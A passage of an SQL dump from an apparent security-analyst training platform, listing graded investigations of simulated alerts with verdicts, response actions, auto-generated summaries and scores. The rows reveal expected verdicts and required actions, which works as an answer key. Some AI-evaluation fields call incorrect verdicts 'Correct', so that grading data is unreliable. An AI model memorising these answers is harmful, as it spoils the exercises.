improvement\"}', NULL, '2026-03-05 17:39:52', '2026-03-13 13:32:23', 0, NULL),
(405, 225, 854, 'graded', 100, 'Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.0.5\",\"ip-192.168.100.100\",\"domain-https://mark\"],\"selectedActions\":[\"close_alert\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 9:34:00 AM\\nALERT: False Positive: Legitimate QR Code Scanning Detected\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 10.0.0.5\\n- [IP] 192.168.100.100\\n- [DOMAIN] https://marketing.retailcorp.com/qrcampaign\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-05T22:34:12.678Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-06 01:42:53', '2026-03-05 22:32:53', '2026-03-05 22:34:12', 0, NULL),
(406, 250, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-06 02:52:55', '2026-03-06 02:52:55', 0, NULL),
(407, 251, 268, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"block_hash\",\"collect_forensics\",\"escalate\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/10/2026, 10:52:29 AM\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Block File Hash\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T05:22:50.598Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-06 04:45:23', '2026-03-10 05:22:50', 0, NULL),
(408, 254, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-06 07:04:42', '2026-03-06 07:04:42', 0, NULL),
(409, 254, 1377, 'investigating', NULL, NULL, NULL, NULL, '2026-03-06 10:33:42', '2026-03-06 07:27:42', '2026-03-06 07:27:42', 0, NULL),
(410, 256, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-06 08:30:57', '2026-03-06 08:30:57', 0, NULL),
(411, 225, 1442, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.70\",\"ip-203.0.113.100\"],\"selectedActions\":[\"collect_forensics\",\"block_ip\",\"reset_credentials\",\"isolate_host\",\"block_hash\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 8:59:58 PM\\nALERT: Successful Data Exfiltration to External Server\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 192.168.1.70\\n- [IP] 203.0.113.100\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-06T10:00:02.162Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-06 13:09:02', '2026-03-06 09:59:02', '2026-03-06 10:00:02', 0, NULL),
(412, 225, 849, 'graded', 90, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/3)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.50\",\"domain-http://offic\",\"artifact_3\"],\"selectedActions\":[\"collect_forensics\",\"block_hash\",\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 9:15:25 PM\\nALERT: Credential Harvesting Attempt via Phishing Email\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.50\\n- [DOMAIN] http://office365-login.com/login\\n- [EMAIL] no-reply@office365-login.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-06T10:15:27.854Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/3)\",\"missed_items\":[\"close_alert\"],\"strengths\":\"Solid analysis\"}', '2026-03-06 13:23:27', '2026-03-06 10:14:27', '2026-03-06 10:15:27', 0, NULL),
(413, 225, 943, 'graded', 80, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/3)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.1.2.34\",\"ip-198.51.100.45\",\"domain-http://fakeo\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 9:20:02 PM\\nALERT: Suspicious Office365 Login Page Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 10.1.2.34\\n- [IP] 198.51.100.45\\n- [DOMAIN] http://fakeoffice365.com/login\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-06T10:20:33.051Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/3)\",\"missed_items\":[\"block_url\",\"close_alert\"],\"strengths\":\"Needs improvement\"}', '2026-03-06 13:27:31', '2026-03-06 10:17:31', '2026-03-06 10:20:33', 0, NULL),
(414, 225, 942, 'graded', 85, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/2)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-45.67.89.101\",\"ip-192.168.0.34\",\"artifact_2\"],\"selectedActions\":[\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 9:23:29 PM\\nALERT: Unauthorized Remote Access Attempt Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 45.67.89.101\\n- [IP] 192.168.0.34\\n- [USERNAME] admin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Block IP/Domain\\n- Reset Credentials\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-06T10:23:45.524Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/2)\",\"missed_items\":[\"close_alert\"],\"strengths\":\"Solid analysis\"}', '2026-03-06 13:27:05', '2026-03-06 10:22:05', '2026-03-06 10:23:45', 0, NULL),
(415, 225, 1379, 'graded', 80, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/3)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.55\",\"domain-http://malic\",\"artifact_1\"],\"selectedActions\":[\"block_ip\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 9:27:10 PM\\nALERT: Phishing Email with QR Code Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.55\\n- [DOMAIN] http://malicious-qrcode-site.com\\n- [EMAIL] alert@securitybank.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Block IP/Domain\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-06T10:27:43.990Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/3)\",\"missed_items\":[\"reset_credentials\",\"close_alert\"],\"strengths\":\"Needs improvement\"}', '2026-03-06 13:29:23', '2026-03-06 10:24:23', '2026-03-06 10:27:43', 0, NULL),
(416, 225, 1390, 'graded', 60, 'Incorrect verdict. Expected false_positive, got true_positive. All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.12\",\"domain-http://suspi\",\"artifact_1\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 9:28:42 PM\\nALERT: Phishing Email with Suspicious URL\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 198.51.100.12\\n- [DOMAIN] http://suspicious-url.com/login\\n- [EMAIL] fake@phishingsite.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-06T10:28:45.490Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Incorrect verdict. Expected false_positive, got true_positive. All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', '2026-03-06 13:34:07', '2026-03-06 10:28:07', '2026-03-06 10:28:45', 0, NULL),
(417, 225, 733, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.50\",\"ip-10.0.0.8\",\"domain-http://secur\",\"domain-trusted-secu\",\"artifact_1\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"reset_credentials\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 9:30:45 PM\\nALERT: Business Email Compromise Attempt via Lookalike Domain\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 198.51.100.50\\n- [IP] 10.0.0.8\\n- [DOMAIN] http://secure-trusted.com/transaction\\n- [DOMAIN] trusted-secure.com\\n- [EMAIL] partner@trusted-secure.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-06T10:30:56.197Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-06 13:34:19', '2026-03-06 10:29:19', '2026-03-06 10:30:56', 0, NULL),
(418, 258, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-06 15:20:34', '2026-03-06 15:20:34', 0, NULL),
(419, 258, 1394, 'investigating', NULL, NULL, NULL, NULL, '2026-03-06 18:30:25', '2026-03-06 15:22:25', '2026-03-06 15:22:25', 0, NULL),
(420, 259, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-06 21:12:51', '2026-03-06 21:12:51', 0, NULL),
(422, 247, 1434, 'investigating', NULL, NULL, NULL, NULL, '2026-03-07 04:35:08', '2026-03-07 01:25:08', '2026-03-07 01:25:08', 0, NULL),
(423, 142, 731, 'graded', 80, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/3)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.23\",\"ip-10.0.0.5\",\"domain-http://secur\",\"domain-company-secu\",\"artifact_1\"],\"selectedActions\":[\"block_ip\",\"block_hash\",\"isolate_host\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 9:11:58 PM\\nALERT: Spear Phishing Attempt with Malicious URL Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 198.51.100.23\\n- [IP] 10.0.0.5\\n- [DOMAIN] http://secure-company.com/login\\n- [DOMAIN] company-secure.com\\n- [EMAIL] ceo@company-secure.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T05:12:35.403Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/3)\",\"missed_items\":[\"block_url\",\"close_alert\"],\"strengths\":\"Needs improvement\"}', '2026-03-07 08:15:44', '2026-03-07 05:08:44', '2026-03-07 05:12:35', 0, NULL),
(424, 142, 1387, 'graded', 80, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/3)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-185.92.220.50\",\"ip-192.168.1.15\",\"artifact_2\"],\"selectedActions\":[\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 9:14:44 PM\\nALERT: Brute Force Attack from Foreign IP\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 185.92.220.50\\n- [IP] 192.168.1.15\\n- [USERNAME] admin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Block IP/Domain\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T05:14:55.748Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/3)\",\"missed_items\":[\"reset_credentials\",\"close_alert\"],\"strengths\":\"Needs improvement\"}', '2026-03-07 08:20:30', '2026-03-07 05:13:30', '2026-03-07 05:14:55', 0, NULL),
(425, 142, 269, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 9:17:41 PM\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T05:17:51.648Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-07 05:16:28', '2026-03-07 05:17:51', 0, NULL),
(426, 232, 269, 'graded', 93, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 6:26:47 PM\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T12:57:07.401Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-07 08:20:36', '2026-03-07 12:57:07', 0, NULL),
(427, 261, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-07 08:27:47', '2026-03-07 08:27:47', 0, NULL),
(428, 232, 247, 'graded', 85, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.77\",\"ip-192.168.1.10\"],\"selectedActions\":[\"isolate_host\",\"reset_credentials\",\"block_ip\",\"block_hash\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 7:51:27 PM\\nALERT: Brute Force Attack Detected - Multiple Failed Logins\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 203.0.113.77\\n- [IP] 192.168.1.10\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T14:21:36.824Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"collect_forensics\",\"close_alert\"],\"strengths\":\"Solid analysis\"}', '2026-03-07 11:36:39', '2026-03-07 08:28:39', '2026-03-07 14:21:36', 0, NULL),
(429, 260, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-07 10:22:53', '2026-03-07 10:22:53', 0, NULL),
(430, 225, 1374, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.50\",\"domain-http://phish\",\"domain-fakecompany.\",\"artifact_1\"],\"selectedActions\":[\"isolate_host\",\"reset_credentials\",\"block_ip\",\"close_alert\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 9:38:47 PM\\nALERT: Phishing Email Detected with Malicious URL\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.50\\n- [DOMAIN] http://phishing-portal.com/login\\n- [DOMAIN] fakecompany.com\\n- [EMAIL] spoofed-ceo@fakecompany.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T10:38:52.526Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-07 13:42:26', '2026-03-07 10:37:26', '2026-03-07 10:38:52', 0, NULL),
(431, 225, 1380, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.70\",\"domain-http://fake-\",\"domain-legitimateco\",\"artifact_1\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 9:42:12 PM\\nALERT: BEC Attempt Detected with Spoofed Domain\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.70\\n- [DOMAIN] http://fake-invoice-page.com\\n- [DOMAIN] legitimatecompany.com\\n- [EMAIL] ceo@legitimatecompany.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T10:42:21.803Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-07 13:46:16', '2026-03-07 10:39:16', '2026-03-07 10:42:21', 0, NULL),
(432, 225, 1385, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.70\",\"ip-203.0.113.175\",\"domain-exfiltration\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 9:44:10 PM\\nALERT: Data Exfiltration Attempt via Suspicious Domain\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.1.70\\n- [IP] 203.0.113.175\\n- [DOMAIN] exfiltration-domain.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T10:44:21.639Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-07 13:51:51', '2026-03-07 10:42:51', '2026-03-07 10:44:21', 0, NULL),
(433, 225, 1375, 'graded', 100, 'Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.0.5\",\"artifact_2\"],\"selectedActions\":[\"reset_credentials\",\"close_alert\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 10:41:24 PM\\nALERT: Failed Login Attempts from Internal IP\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 10.0.0.5\\n- [USERNAME] testuser\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T11:41:37.428Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-07 14:21:30', '2026-03-07 11:11:30', '2026-03-07 11:41:37', 0, NULL);
INSERT INTO `investigations` (`id`, `user_id`, `alert_id`, `status`, `grade`, `feedback`, `executive_summary`, `ai_summary`, `ai_evaluation_scheduled_at`, `created_at`, `updated_at`, `is_reported`, `report_reason`) VALUES
(434, 225, 1376, 'graded', 60, 'Incorrect verdict. Expected false_positive, got true_positive. Artifact analysis completed (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.50\",\"ip-203.0.113.150\",\"domain-suspicious-w\"],\"selectedActions\":[\"block_hash\",\"reset_credentials\",\"block_ip\",\"isolate_host\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 10:43:00 PM\\nALERT: Suspicious Domain Access Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.1.50\\n- [IP] 203.0.113.150\\n- [DOMAIN] suspicious-website.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T11:43:03.169Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Incorrect verdict. Expected false_positive, got true_positive. Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', '2026-03-07 14:47:04', '2026-03-07 11:42:04', '2026-03-07 11:43:03', 0, NULL),
